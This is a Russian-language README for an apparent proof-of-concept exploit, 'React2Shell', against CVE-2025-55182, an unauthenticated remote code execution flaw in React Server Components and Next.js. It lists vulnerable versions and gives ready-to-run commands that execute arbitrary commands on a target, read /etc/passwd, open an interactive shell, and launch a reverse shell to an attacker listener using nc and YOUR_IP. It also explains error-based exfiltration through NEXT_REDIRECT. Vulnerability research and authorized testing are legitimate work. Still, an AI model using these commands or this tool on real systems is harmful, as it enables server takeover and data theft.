
CVE-2025-55182 React2Shell PoC — критическая RCE-уязвимость в React Server Components / Next.js. CVSS 10.0. Эксфильтрация на основе ошибок, реверс-шелл, интерактивный режим.
Proof of Concept для CVE-2025-55182 — критической уязвимости удалённого выполнения кода без аутентификации в React Server Components.
Оценка CVSS: 10.0 (Critical)
Уязвимость существует в десериализаторе Flight-протокола React. Используя загрязнение прототипа (prototype pollution) через специально созданные полезные нагрузки, атакующий может добиться произвольного выполнения кода на уязвимых приложениях Next.js.
| Продукт | Уязвимые версии | Исправленные версии |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
Вывод возвращается напрямую в HTTP-ответе через ошибку NEXT_REDIRECT — callback-сервер не требуется.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Запуск слушателя
nc -lvnp 4444
# Отправка полезной нагрузки
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target URL цели (обязательно)
-c, --command Команда для выполнения (по умолчанию вывод через эксфильтрацию на основе ошибок)
--check Проверка, уязвима ли цель
--blind Режим слепого RCE (без захвата вывода)
--listen Использовать callback-сервер вместо эксфильтрации на основе ошибок
-i, --interactive Интерактивный режим псевдо-оболочки
--revshell Попытка установить обратную оболочку
--lhost IP атакующего для callback/обратной оболочки
--lport Порт для callback (по умолчанию: 9999)
--callback Ручной callback URL
--timeout Таймаут запроса в секундах (по умолчанию: 30)
Метод эксфильтрации по умолчанию использует инъекцию ошибки NEXT_REDIRECT:
NEXT_REDIRECT с выводом в поле digestЭто надёжнее, чем эксфильтрация на основе callback, поскольку не требует исходящего сетевого доступа с целевой машины.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте надлежащее разрешение перед тестированием.
p3ta